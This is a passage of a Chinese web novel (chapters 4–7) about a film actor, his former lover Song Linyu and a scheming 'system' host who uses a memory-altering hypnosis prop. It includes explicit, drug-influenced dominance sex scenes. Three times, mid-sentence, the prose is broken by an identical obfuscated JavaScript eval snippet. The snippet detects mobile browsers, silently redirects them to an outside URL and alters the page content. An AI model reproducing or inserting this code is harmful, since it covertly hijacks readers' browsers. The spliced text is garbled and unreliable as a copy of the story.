让我看看你能装到什么地步。 4. 照片 这句话落在空气里,像稀碎的火星,轻而易举地点燃了一室隐秘的暗火。 哪怕只有浅薄的微光,傅宴容也能看清宋临俞颤抖着发红的眼睛,还有忍不住张开的唇。 一片空白的失神状态,然后又像确认一样,无意识地重复了一遍傅宴容的问题。 “求你……” 傅宴容居高临下地看着这张脸,想从上面看到羞耻、愤怒,以及怨恨。 可是在昏白的月色下,他只能看清玻璃碎片一样刺眼的,覆盖在宋临俞脸上的水光。 潮湿感如同泛起的香槟气泡一样无处不在,宋临俞伸出来的手骨感纤长,起伏的青筋脉络若隐若现,此时还带着濡/湿后的温柔。 过了这么多年,他还是很清楚求傅宴容应该做什么。 月光透进来的房间被夜调和成了森冷的孔雀蓝,宋临俞腰背挺直地分/开/腿跪在木质地板上,昂贵的西装外套把瘦削的腰线恰到好处地掐好,而凌乱的领带,正被傅宴容伸出来的手慢悠悠地打好。 收紧,窒/息,侵/占,淹没,即使这样宋临俞也没忘记讨好自己想要得到的东西。舌.根深处也被彻底覆盖,宋临俞终于没有忍住,伸出手握住了傅宴容的手腕。 从前宋临俞很少这么西装笔挺地跪在他面前,傅宴容不是什么大度的人,此刻当然也被勾起了骨髓深处的恶劣欲望。 他弯腰,压得更深了一点。然后漫不经心地从宋临俞的西装口袋里摸出一盒细烟。 傅宴容对自己的工作负责,作为公众人物从来不在任何场合吸烟,但是这种时候就应该享受,享受尼古丁或者更多。 黑色的皮筋被他从发尾上拆了下来,柔软的发丝落在了颈间。傅宴容解开两颗衬衫扣子,仰起头漫不经心地点燃了香烟。猩红的烟尾在曲起的指骨间明明灭灭,将神情模糊成旧照片里的一帧。 宋临俞也被围绕在了这缭绕的烟雾里,好像彻底沁.出了水,漆黑的长睫黏连成一簇又一簇,遮住湿润的眼睛,狼狈到几近可怜。 傅宴容漫不经心地摸了一下他仰起的侧脸,用温柔到几近亲昵的声音告诉他,还不够,继续。 宋临俞发出了一声极低的、格外可怜的呜咽。 溢.出来的那一刻,宋临俞脑海里的那根弦已经彻底崩断。本能与经验告诉他,这种时候可以向傅宴容撒娇了,但是当他靠近傅宴容薄而冰冷的唇瓣的时候,却只听见了一句意味不明的诘问。 “和谁都这样吗,宋临俞。” 宋临俞喉咙里还残留着被填.满的窒.息感,湿透的长睫半垂着,眼尾泛红,像被水浸透的薄纸。 以前傅宴容也会用这样的语气和他说话,命令、请求,亦或是暧昧却不下//流的dirty// talk。 但宋临俞没有哪一刻像现在这样清醒,他想说不是,不可能,怎么会,只有你。 话到嘴边,理智却像冷风拂过,提醒他现在早已不是从前。他张了张嘴,嗓子哑得发不出声,脑子里乱成一团。 现在还不能…… 宋临俞不知该怎么回应这个无法回应的问题,只能本能地往前蹭近了一点。头微微侧着,像从前撒娇时那样,试图蒙混过去。 旧情人再会总是这样的,一切亲昵的举动都能轻而易举地做出来,却像沾了一点湿润糖霜的金边饼干,甜腻又易碎。 傅宴容眼中看不明晰的情绪消失殆尽,他慢吞吞地垂下眼,哪怕温度在这个夜晚持续攀升,他却仍然像一捧稠冷的雪,冰冻的山。 他掐灭烟蒂,指尖慢悠悠地碾在烟灰里,动作里藏着点漫不经心的沉。俯下身,手扣住宋临俞的下巴,力道不算重,却不容拒绝,仔仔细细地打量着那张情.动的脸。 只是药物吞噬理智会做出来的表情。 于是他松开手,指尖滑到宋临俞的领带上,慢条斯理地攥紧,然后猛地一扯。布料摩擦的声音在寂静里刺耳又暧昧。 宋临俞被拽得往前一倾,膝盖在木地板上滑了一下,喉咙里溢出一声低低的呜咽。可他没反抗,甚至眼底还带着点顺从。 因为生理反应不断发抖的躯体很难撑住,傅宴容对他这样散漫的动作似乎有点不悦,于是好整以暇地慢慢垂下眼,看着因为跪不住的宋临俞,反手落下一道清脆的响声。 指尖依稀沾着黏连的痕迹。傅宴容垂眸,命令道: “跪好点。” 他语气不轻不重,却有种令人颤栗的、忍不住顺从的上位者的压迫感。 宋临俞被这一下shan懵了,没躲,甚至没挣扎。只是咬着唇,湿漉漉的眼睫颤着,全盘接受了这股近乎惩/戒的力道。 不是不适应,而是太适应了。 宋临俞脑海里一瞬间闪过无数个零碎的片段,泛上的红痕烫得宋临俞几乎要蜷缩起来。可他还是顺从地仰起头,看向傅宴容的脸。 像什么三流色//情/片的主演。 傅宴容啧了一声,没忍住气笑了。 “……还给你玩爽了。” / 第二天宋临俞醒得很早,却一夜无梦。每次在傅宴容身边的时候都是这样,如同候鸟养成的节律一样理所当然。 可是直到醒来他才想起来现在他不用再哄着没睡醒的傅宴容去做活动或者剧本了,也不用再装乖卖可怜爬起来故意做并不好吃的早餐,对现在的宋临俞来说,这些事都太掉价了。 他只能无言地偏过头,看着懒洋洋压在枕头上睡觉的傅宴容。 傅宴容肩膀上的薄被往下滑了一截,宋临俞有些犹豫地抬起手,可是曲起的指节在半空停留片刻,却始终没有动。 “趁我没睁眼把手拿开。” 然后傅宴容就慢吞吞地把脸埋进柔软的枕头里,颇为熟练地赖着床。 “不冷吗。” 宋临俞放下手,很安静地反问他。 傅宴容闭着眼打了个哈欠,说还好吧。 这一瞬间气氛平和了很多,谁都没提起以前或者昨晚的事,宋临俞轻轻叹了口气,却没把目光移开。 半晌,他才收回视线,解锁手机面无表情地给下属发了几条信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160093|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银湖酒店现在是东钰的产业,宋临俞让他们把昨晚这一楼层的监控全部处理掉。 然后他退出聊天框,犹豫片刻,熟练地输入密码,点开了私密相册。 和别人猜的所谓商业机密不同,这里面其实只有非常简单的一些人像照片,也并不是什么模特明星香/艳的私/房照,只是再普通不过的、宛若追星相册一样的傅宴容的照片。 事实上这和追星相册也没什么区别,照片都分门别类地分好,不同色系、不同服装、不同地点,有条有理。 区别在于,这里面的很多场景都不是其他人能拍到的。 早上起来背对着自己叼着皮筋扎头发的傅宴容,被子盖住脸赖床的傅宴容,有点孩子气地拿起叉子卷一个超级无敌大意面卷的傅宴容…… 每一天都有。 只是从某一天开始,这里出再也没有更新过。 宋临俞当然不会做什么偷拍的事,他只是看着那些照片发呆,可是一道窸窸窣窣的声音从身后响起,宋临俞瞳孔蓦然缩紧一瞬,感受到身后覆过来的温度。 傅宴容从他手中抽走了那部手机,情急之下宋临俞只来得及解锁。而傅宴容也没看,只是起身穿衣服时兴致缺缺地放在手里把玩,轻飘飘地问:“拍什么了?” “……我没有。” 宋临俞有点着急,一时间说话声音都重了点,他起身跪在床沿抬手去够傅宴容手里的手机,腰线露出雪白的一截,还有未褪的淤青。 傅宴容见状微微移开脸,然后点亮屏幕,指尖在密码锁上停留一瞬。 “……算了。” 他没去试着输宋临俞手机的密码,即使他知道以前这串数字是什么。傅宴容把手机塞回宋临俞手里,然后微微弯腰,看着他的眼睛,轻声说: “无论是什么都删掉。” 宋临俞很配合地点了下头,怕他不相信,还十分冷静地回道:“我会当做什么都没发生,傅老师放心……” “我说无论是什么,包括以前和现在。” 傅宴容打断了他的话,指骨曲起,堪称轻柔地在手机冰冷的金属后盖上叩了两下。 一声,两声,好像在叩问他的心跳。 宋临俞的喉结重重滑动了一下,薄唇几乎绷成一条直线。他按在床沿上的手指骤然收紧,指节抵着柔软的被褥陷进深深的凹痕。 傅宴容垂眼看他时发梢蹭过他的鼻尖,那股独属于他的若有似无的味道如同潮水一样漫了上来,几乎将宋临俞溺毙在漩涡里。 但这样的拒绝对现在的傅宴容来说早就没了意义。 他直起身勾住床头柜上散落的皮筋,漫不经心的把漆黑的发尾绑好。宋临俞发呆似的看着这一幕,最后却只有门锁咔哒咬合的声音格外清晰。 最后还是只有宋临俞一个人留在了这里。 他无声的垂眼,湿润的长睫投下一片晦暗不明的阴影。 冰冷的金属边框被节节凸起五指死死按住,直到因为用力而泛白,最后徒留一片无法褪去的,深红色的月牙痕。 5. 道具 银湖酒店2901号房,是酒会主办方最初特意为傅宴容准备的套房。 此刻,凌晨六点的天际仍裹着一层未褪的墨色,整个世界沉浸在熟睡的静谧中。唯有这间房的门缝半掩着,从中泄出几缕暧昧的灯光,伴随着一阵若隐若现、引人遐思的低吟,在寂静中令人…… 令人忍不住想笑。 透过虚掩的门扉,能看见初出茅庐、尚不懂人心险恶的助理小孙正惊恐地靠着墙缘。 他在用左手死死捏着手机打电话的同时,带着塑料手套的右手还紧握着半个正在滴水的巨大海南贵妃芒。 oversize的大床中央,睡得格外香甜的苏唐正抱着巨大的被子滚来滚去。 苏唐时而眉头紧锁、大声抗拒说“不要”,时而轻微啜泣、面若娇花,一串流畅的动作下来,连嘴角的芒果汁都没擦,就独自在空气中表演了一套生龙活虎的全武行。 小孙崩溃,小孙绝望。 事情是这样的:昨晚傅宴容走后,用手机给他发了消息,说苏先生是因为在酒会上没吃到芒果才气得晕倒,让他好人做到底、在房间里给人喂点芒果再走。 小孙秉持着大学生刷志愿服务时长的专注度,点了一整盘大芒果,剥皮、切块,细心地喂到了苏唐嘴边。 苏唐也很顺从地吃了下去,吃完还舔了舔嘴唇,面色微微发红地说:“不要……不,还,还要……” 小孙拿不准他到底是吃还是不吃,决定再问一遍,以征求他的意见:“苏先生,您到底是想要还是不想要了?” 没想到,苏唐用十分委屈的语气控诉他:“这种时候说不要,当然是要的意思啊!” 小孙:……这种时候是哪种时候啊?! 老板说要喂,苏唐也说要吃,小孙一个晚上兢兢业业地剥了五六个大芒果,还要时刻关注苏唐的状况,只要他出现轻微的过敏反应,就马上停手。 可谁能想到苏唐的过敏反应这么严重啊? 小孙胆战心惊地听着他痛苦的呻吟,看着他崩溃挣扎的动作,连自己怎么死都想好了。 他决定先给老板傅宴容打个电话,报告这个惨痛的工作事故,然后马上打给酒店的急救组,让他们来个人救救苏唐。 “傅哥……” 电话接通时,小孙声音还是抖的。他愧疚地说:“我闯祸了,苏先生现在情况非常严重……” 他这模样太好玩,傅宴容实在没忍住,低头莞尔,带着几分笑意道:“我知道了,别急,没关系。” 电话里熟悉的声音同时从门外传来。小孙抬起眼,看到了站在门口的傅宴容。 他只松松垮垮地穿了件单薄衬衫与长裤,轻松得仿佛真是来这酒店度假。 小孙泪眼汪汪,如同看到了救星:“老板——!” 看完全程的傅宴容走进门,拍了拍小孙的肩膀,十分淡定地胡诌道:“别担心,苏先生有梦游症。现在这幅样子不是过敏导致的神经系统疾病或癫痫,和你没关系。” 听到这话,可怜的小助理终于放下了心里的大石头。 傅宴容扫了他一眼,心道这孩子最大的优点就是听话好骗。 他随即安抚道:“你做得不错,可以回去休息了。这个月工资翻倍。” 然后,傅宴容看了眼小孙右手捏着的半个芒果,顿了顿,丝毫没有愧疚之情地勾起唇角,笑着说:“至于这个,就留着自己吃吧。” 小孙:嘤,净说些让人听了会对芒果PTSD的话。 / 苏唐做了一个甜蜜瑰丽的梦。梦里,他正和看不清脸的人抵死缠绵,永无休止。 虽说自己好像不知道为什么晕倒了,记忆有点模糊,但和傅宴容度过了幸福的一晚这件事,应该是没错的……嗯,没错的。 他有些紧张地半掀开眼皮,映入眼帘的就是背着光站在床尾、面对着他的傅宴容。 男人身量挺拔,腰腹瘦削,高腰紧身牛仔裤恰到好处地扎紧衬衫,扣出绝佳的腰线。长发松散地垂在脑后,松散扣着的领口下似乎还有看不太清的暧昧痕迹…… 好好好,第一个炮灰攻收入囊中,看来这把稳了! 苏唐一边唤醒昨天识趣进入休眠的万人迷系统,一边收起喜悦,熟稔地抬手抹了把眼角,做出委屈痛苦的表情。 然后,他径直抬腿踹向已经下床的傅宴容,怒斥道:“你对我做了什么?!” 傅宴容眨眨眼,没躲。 他好整以暇地歪了下头,看着苏唐演技不到位的变脸,低声问自救系统:“他两条短腿在踢什么?” 被强制关机一整晚、不知道宿主干了什么好事的自救系统幽怨地说:“不知道呢,亲。” 没踢到人的苏唐有点尴尬。但他转念一想,这也只能说明傅宴容太过自觉,早早滚下了床。 思及此,他一个鲤鱼打挺从床上翻起来,梨花带雨、坚贞不屈地控诉道:“傅老师……亏我还把您当偶像,没想到你是这样的人?” 傅宴容没和他对话。 因为根据原文剧情,自己早上的戏份很简单:“被苏唐踹下床——听他控诉自己——看他夺门而出,伸手挽留却又不敢挽留。” 一共三个流程,抬下手的事,比拍广告还轻松。 现在他已经提前站在了床尾,只要等这个脑子不太聪明的苏唐夺门而出…… “糖糖,事情不对。” 苏唐脑海里,万人迷系统的声音迅速传来。 这让他准备要说的话停住了。 “什么不对?” “昨晚的事情不对。你的衣服还好好穿在身上,身体也没什么不适吧?” 随着万人迷系统的提醒,苏唐不知道飞到哪去的理智才真正回笼。 现在他意识到了疑点。自己确实身上都是刺目的红痕,但除了发痒的感觉之外什么都没有,和春风一度完全是两种体验。 “万万,这是怎么回事?”苏唐抿起唇,在脑海里紧张地问:“明明我已经照你说的做了……傅宴容为什么没碰我?不可能啊,他怎么可能忍得住?” “我知道了……是不是那杯酒?该死,我就知道事情在宋临俞身上总不对劲!” 万人迷系统沉默片刻,才道:“也许是这样。虽然现在剧情程度并未严重偏移,但我们需要在这个剧情点让傅宴容对你生出愧疚之心。如果什么都没发生,岂不是……?” “那你说怎么办?” 苏唐急了。 “兑换道具。”万人迷系统一锤定音,“虽然你积分现在所剩不多,但足够兑换一个让傅宴容意识不清的一次性催眠道具。” 苏唐看着系统面板上的200积分。如果兑换催眠道具,就只剩50分,他的美貌光环、唱歌buff、演技buff全都得降档…… “糖糖,用你们人类的话来说,留得青山在不怕没柴烧。后续能从这些炮灰身上得到的积分,远比现在多。” 在万人迷系统和苏唐纠结的间隙,傅宴容眸色轻轻暗了暗。 他确定苏唐是个和这个世界格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160094|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格不入的蠢货,随便敷衍就能混过原文剧情。但也因此,傅宴容有了个无法解释的疑惑。 如果是这样的苏唐,除非所有人都跟着降智,否则很难确保所有人都如安排好的一样“跪倒在他的西装裤下”。 自救系统给出的原文剧情里,只有第三人称视角的描写。不知道从何而来的作者通过那些“炮灰攻”的视角宣扬欲望,对苏唐大肆赞美,窥伺凝视。 好像他只站在那里,全世界所有人就会喜欢他。 但世界上没有这样的逻辑。 再受欢迎、再漂亮的演员,失去了营销手段,没有好作品,缺乏让人欣赏的人格,都不会被粉丝喜爱。 从踏入影视行业第一天起,就有人警告过傅宴容,这世界上最不缺的就是美貌的人。 想要让别人记住你,就要在被看到的地方做到最好。 所以,有关苏唐,一定还有自救系统不知道的事。 傅宴容一开始在试探自己能做到什么地步,而现在,似乎马上要有答案了—— “我确定使用一次性催眠道具。”苏唐深吸一口气,下定了决心。 他死死盯着傅宴容轻蹙的眉心,一字一句地说:“使用对象,傅宴容。” “用法:篡改他的记忆,让他以为昨晚和我……” 万人迷系统扣除积分的提示音响起。 道具生效,记忆归零重启。 自救系统检测到了小世界默许的第三方外挂数据入侵痕迹。可正如它告诉过傅宴容的,自救系统只是时空管理局低批次的辅助系统,和其他能独立穿梭于各世界维持秩序的系统不同,它完全没有阻止这串数据的手段。 它焦急呼唤傅宴容的声音没被听见。 傅宴容倏地垂下眼,那颗乌青色的小痣在晨光里突然脆弱得几近透明。 傅宴容后退两步,手闷不做声地撑在了身后书桌的桌沿,无声地崩起一层漂亮的青筋。 昨夜的一切如同镜片上生起的水雾,开始变得模糊不清。 面容、轻语、哭泣、吻,那些无比熟悉的神态扭曲、模糊,甚至妄图变成其余的样子。 但傅宴容从不允许自己的思考被操控。 一次性的道具并不能造成无法挽回的后果,扭曲的事实无法在连贯的逻辑上打开缺口,粘稠的思绪在缄默间也随即卷土重来。 他听着脑海里那些喧嚣的杂音,说出的讽刺带着格外冰冷的矜骄戾气: “一群蠢货……” 他陈述着这个事实,突然听见脑海里自救系统急促的呼声。 还有…… “哥……傅宴容……?!” 还有宋临俞的声音。 如同在雪中灌下的生冷的白兰地,又像一场干旱后游离的潮。 傅宴容轻轻掀起眼,长睫上将落不落的水渍轻飘飘地掉进另一个人的掌心。 他其实不太确定自己刚刚听到的是否真实。 视线回笼。傅宴容靠在桌沿略略弯腰,最先映入他瞳孔的,竟然真的是半跪在他面前的,宋临俞的脸。 ……他怎么会在这里。 此刻,宋临俞仍是那种没什么情绪、看不出神色的冷淡表情。 傅宴容轻轻垂下眼,忽视了旁边苏唐不知所措的试探和聒噪。 他发现宋临俞的手在抖。 傅宴容漫不经心地抹去指节上的冷汗,等了一会儿,直到宋临俞偏过头准备起身,他才突然没什么语气起伏地问: “你刚刚叫我什么?” 6. 坏回暖 傅宴容这话问得很轻。从他弯腰俯视的角度来看,宋临俞沉默不语的棕色眼睛像停滞了很久的琥珀标本。 而此时,这枚千年不动的冰凉琥珀轻轻瞥过眼,再次假装什么也没听见。 傅宴容抬手按了一下还有点疼的太阳穴,顿了顿,把问题换成了最该问的那个:“……你怎么在这里?” 站在旁边的苏唐也想问这个问题。 他刚刚才忍痛耗费150积分兑换了一次性催眠道具,虽然没想到傅宴容反应这么大,但看他的表情,应该是道具生效了。 谁知道,宋临俞突然出现在房间门口。 小孙走时只是轻轻带了下门,并未完全锁上。当然,苏唐不知道这件事。他只是眼睁睁地看着宋临俞走进来,抓住傅宴容的手喊他的名字。 甚至在傅宴容不是很清醒、没回答问题时,宋临俞还不顾姿态地半跪下来,抬头去看傅宴容的脸。 这有点不对吧……? 苏唐本能地皱了皱眉,目光在靠得过近的两人脸上游移,试探性地问:“临俞哥,你们?” 宋临俞看了他一眼,直起身,往后轻轻退了两步,用稀松平常的语气解释道:“路过。” 苏唐还没说什么,傅宴容先格外玩味地笑了一下。 他抬起脸,支起腿懒懒地靠在桌沿,不咸不淡地问:“宋总这么闲,路过路到我房间来了?” 这话一出,苏唐刚刚察觉到的两人之间那点微妙的氛围顿时消失殆尽,反而多了几分针锋相对的修罗场味。 而宋临俞好像很不愿意看到傅宴容似的,转过脸看他一眼,又像被烫到一样转回去。 于是,苏唐不确定地问万人迷系统:“催眠道具对傅宴容起作用了吧?” “没有不起作用的理由。”万人迷系统志得意满地安慰他,“放心吧,我的道具都是最好的。” “只是宋临俞……”苏唐总觉得他出现在这里不对劲,刚刚给出的理由也明显是敷衍。 他正想追问,却看见宋临俞冷冷抬眸盯住自己反问:“所以,你们两个为什么会在一起?” 宋临俞说话时总有种被雪冻住的冷意。苏唐本能地瑟缩了一下,又听见了他冰冷的警告: “《隐面》马上开机,两位都是主演,别像刚刚那样闹出什么事比较好。” 傅宴容微不可察地眯了下眼睛。 宋临俞说的第一句话,和自救系统给他的原文一模一样。那是原剧情里苏唐夺门而出、自己犹豫片刻追上去同他拉拉扯扯时,宋临俞出现逼问的台词。 他问还在脑海里抽抽搭搭赔罪道歉的自救系统:“你们还绑定了别人?” 自救系统疑惑地反问:“什么?你是说绑定宋临俞吗?” “改变他的剧情很难。他算是原书剧情结尾最后买股成功上位的半个主角攻吧。他和苏唐绑定的剧情太多,我们是不会从他身上入手的。” 说完,自救系统抹了抹不存在的电子眼泪,小心翼翼地问傅宴容:“宿主,苏唐的道具是真的对你使用了。只是你意志比较坚定,再加上他想修改的记忆有完整的前因后果,才没成功。你确定现在真的没不舒服了吧?” “没有。” 傅宴容回答完,看向苏唐投来的做作目光,十分流畅地以过硬的演技接上了原文修罗场的台词: “宋先生与其问我们现在为什么在一起,不如问昨晚我和谁在一起?” 说完,他眉尾懒赖地扬了一下,很配合原文地露出一个“挑衅的笑”。 只是,与原文里那种邪魅狷狂嚣张跋扈的笑不同,他发尾还沾着几分刚刚因不适出的薄汗,落在衬衫布料上,显得湿润且糜艳。 额发垂下的阴影与漆色的长睫连在一起,由眼角那颗乌青小痣收尾上扬,是种飞扬的、深重的、暧昧不明的好看。 宋临俞喉结滚了一下,用极力克制情绪的语气,一字一顿地回答:“没有那个必要。” 苏唐看看宋临俞隐忍怒气的模样,再看看傅宴容刻意挑衅的嚣张,十分放心地长舒一口气,美滋滋地对万人迷系统说:“看来是刚刚使用道具反应太大,把宋临俞引来了。现在一切就正常了。” 万人迷系统停顿片刻,附和了他的话。 两人“唇枪舌战”几个回合后,又到了苏唐的戏份。他大喊一句“你们不要再吵了,我心里很乱,谁都不想见”,然后愤然离开了房间,等会儿还会跑出酒店。 傅宴容扫了一眼原文,发现接下来是自己和宋临俞追上去的情节。不过,最后追到人的是宋临俞,他会强硬地让人把苏唐送回公司,并勒令苏唐这段时间哪儿也不能去。 至于自己,意思意思下个楼就行,没必要真跑。 于是,傅宴容懒洋洋地拨弄了一下垂在颈侧的头发,率先走出房门,按了下电梯。 宋临俞居然也不是很急。他一言不发地默默跟在傅宴容身后,直到进电梯。一路上都像个不说话的尾巴,竭力降低自己的存在感。 傅宴容手插在口袋里,抬眼看着数字键旁被擦得干干净净、光滑如镜的轿厢壁。 那一小块不锈钢忠诚地反射出身后宋临俞的脸,和他抿起唇、一直落在自己背后的目光。 毫无预兆地,傅宴容突然开口:“苏唐和你很熟吗?” 这句话是他看了原文想问的。原文没有苏唐的第一视角,更不会花太多笔墨描写这一堆炮灰攻。按小孙说的,他被宋临俞签走才几个月,那么所谓金主包养的绯闻怎么传得这么沸沸扬扬? 不知这句话哪里有问题,亦或是问法太直白,电梯缓缓从29楼降到1楼,宋临俞都没出声。 电梯停下发出轻微嗡鸣,门缓缓打开。直到傅宴容走出去的那一瞬间,宋临俞才开了口。 声音又低又沉,涩得发苦。 他说:“……认识很久了。” 傅宴容停下了脚步。 片刻后,他突然轻轻笑了一下,让单薄衬衫布料在肩胛骨处撑出一小截锋利的褶皱。 “宋临俞。” 傅宴容语气又轻又缓,波长却像格外冰冷的刀尖,划过听着这话的人的脖颈,落下宣判死刑的一刀。 “你之前爬我床叫我哥的时候,怎么没说过有个这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160095|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫你的青梅竹马?” 电梯门开了太久,现在按指令重新闭合。傅宴容说完脚步不停地往前走,走进大厅穿梭的人潮里,一步也没有再回头。 所以他也没看见宋临俞的表情。 电梯暂时不上不下,成了一个彻底封闭的冰冷密室。这里没人会看到宋临俞的失态,于是他忍无可忍地弯下腰,从喉咙里挤出一点近似于啜泣的、摇摇欲坠的声音。 / 傅宴容走出酒店大门时,突然察觉到三月申澜天气的多变。昨天还算得上温暖甚至有些闷热的空气,今天变得格外冰冷。 苏唐抱着手站在喷泉池旁走来走去,想必在等姗姗来迟的人。 按原文,傅宴容要在这儿站到宋临俞和苏唐离开。他没什么耐心地拿起手机,看到助理小孙发的信息。 傅哥,你刚从柏林回来,还没适应申澜的天气。最近三月坏回暖,温度骤降得特别快,要出门的话你等下,我给你拿件衣服下来。” 在楼上就看到傅宴容要出门的小孙十分尽责地拿了新外套追出来,递给傅宴容让他穿上。 傅宴容伸手接过那件羊毛外套,慢慢说了句“谢谢”。 然后,他听见小孙问自己昨天穿的风衣放哪儿了。 傅宴容停顿片刻,才轻描淡写的说:“不重要。” 这时有脚步声响起,原来是宋临俞从他们身边擦肩而过。小孙怔怔地眨了下眼,听见这个新闻里报道的、深不可测又阴郁冷漠的男人偏过头,说:“外套让人拿去烫了,会送回房间的。” 一时间,小孙都没弄明白这句话是不是对自己说的。他抬头看向傅宴容,发现老板脸上笑意一如往常,语气却格外冰冷: “不重要就是不要了。” 傅宴容把手插在口袋里,颇有些平静地仰起头,对小孙说:“回去吧,我一会儿就回来。” 宋临俞不再说话了。 街边停的几辆车早已备好。苏唐见宋临俞过来,假模假样地挣扎了一下,却看见他格外阴冷地垂下眼,低声威胁道:“别逼我把你绑进去。” 苏唐不敢乱动了,只能乖乖坐进车里,让司机带自己离开。 而为宋临俞开门等他上车的司机却迟迟没等到他的动作。 于是司机顿了顿,有些疑惑地问:“宋总?” 宋临俞把目光从傅宴容身上收回。 他发现自己又在看傅宴容的背影,仿佛成了某种习惯。 ……也许因为看了太多,所以才总是要渐行渐远。 他关上车门,对司机说:“回公司。” 料峭的寒风从半开的车窗灌进来。司机操控窗户全部闭合,贴心地对宋临俞说:“您嗓子好哑,是感冒了吗?” “……嗯。”宋临俞垂下眼,轻声说,“坏回暖吧。” …… 坏回暖,一种异常剧烈的天气回暖现象,通常伴随着气温急剧上升,可能会对生活和生产造成不利影响。 2025年3月,申澜天气快速回温,此后重回2月下旬初的寒冷状态。 ……直至真正春天的到来。 7. 公关 傅宴容回国的第二天,难得沉寂了几年的、有关他的舆论再次沸腾起来,并且大有愈演愈烈的趋势。 微博热搜上的消息一条条往上蹦。从早上六七点开始,有关傅宴容的词条就没消停过。 一开始进入大众视野的是「傅影帝与国外艳星出入夜店想入非非」,接着又是「白人女星与大影帝举止亲密疑似隐婚」这种某某浏览器蹦出来的编造新闻。 随后,各个娱乐大V不知收了哪家的钱,发出的通告接连不断。尖锐的营销号音配着银湖酒店大门模糊不清的照片,夺人眼球的说着:“傅宴容突然回国是否另有隐情?一直在争的《隐面》00生大饼剧本花落谁家?” 无数高贵路人也肆意在对话框里发散猜想:“不是说傅宴容在柏林给克兰当男一吗?现在不声不响回来,不是被辞了吧?” “走出国门走不动,然后又想回来了?就我一个人觉得他演的戏都看不懂很没意思吗?那些女的除了看脸还会什么?” 还有非要上来蹭的:“亚洲的颜值就靠两个男人撑着,一个是傅宴容,一个是我。可惜他已经慢慢老了,而我,估计也撑不了太久……” 傅宴容窝在沙发里,兴致勃勃地刷着这些评论,毕竟晚了就没有了。 果然,三分钟后,傅宴容后援会名下的反黑组开始干活。 正主争气的好处在于,面对这些评论,粉丝能冷酷无情地甩出几张实绩图,并且不用顾及“路人”感受,光明正大地开嘲讽: 「对,就你一个人这么没品。之前电影票房上五十亿的时候是不是没人牵你去看?或许可以试试宠物友好影院,指路放这不谢(链接)」 「也是给你蹭上了?这么自信找个厕所进去照照脸,审美真是间歇性犯病……」 眼见这些评论一条条消失在浩如烟海的信息流里,傅宴容轻笑一声,随即找到和自己互关的后援会账号,熟练的转发粉丝发的欢迎微博,并且配了很简单三个字。 「傅宴容:辛苦了^^」 下一秒,齐刷刷的评论涌来。 「不辛苦,欢迎回家!」 「顺手的事~哥拍戏注意安全,进组前给我们发点自拍即可,之前发的已经兑着凉水喝三年了……」 「乖儿子好好照顾身体,妈妈爱你么么哒」 「回来是拍《隐面》吧?期待看到你的新戏啊啊啊啊啊!」 看到这些真实的、不同于原文剧情中一笔带过的“傅宴容是当红影帝,粉丝无数”的评论,自救系统在傅宴容脑海里不禁感慨:“宿主,原来有这么多人喜欢你啊。” 原来在书中完全没有描述的地方,傅宴容也在被很多人不带欲念和恶意的、真挚又美好的崇拜着。 这就是演员的狡猾之处,傅宴容这么想。 其实他本人并不是一个值得喜欢的人,一开始接触这个工作,目的也很自私。 但仍有无数影迷和粉丝透过镜头露出来的那一帧、那一秒、那一个片段喜欢上他。在不了解他的过去和曾经的情况下,她们赋予傅宴容角色的美好特质,并且为他付出。 傅宴容很惶恐,但也很感激。 这是不同于爱恨之外的真挚情感。他没什么好报答的,只能认真对待每一部电影。 自救系统若有所思。 原文剧情里,这些粉丝的存在很少被提起。即使出现,也是在苏唐和傅宴容一起出演完《隐面》后,全网嗑CP的情节中。 在那里,所有人都在说影帝和他的顶流小娇妻多么相配。苏唐被一次又一次提起,推上风口浪尖。 但傅宴容却没再被注意到,或者说,像现在这样,作为一个演员,因为演出的角色被关注。 哪怕有多少人喜欢他,就有多少人讨厌他。 这是不是管理局让系统来改变剧情的意义?或者说,让系统来了解真实世界…… 自救系统默默停留在傅宴容的脑海里,透过他的眼睛,去看这个不同的,第三视角的故事。 / 小孙本来还在旁边做舆情监控,结果看着那些庞大的、各个平台都被刷爆的话题,才发现自己根本忙不过来。 不论短视频还是社交平台,只要关注娱乐新闻的人,或多或少会提上一嘴:“哦,看热搜,那个演过什么什么的傅宴容好像又要回来拍戏了。” 很难说傅宴容现在这个水平,在圈内有谁能碰瓷称得上一句对家。但从某种意义上,所有跟他赛道相似的男演员都是对家。 于是,在热度炒上去的同时,不知所谓的黑稿也满天飞。从私生活下手是常见的攻击点——虽说在这方面,傅宴容本来就是个废墟。 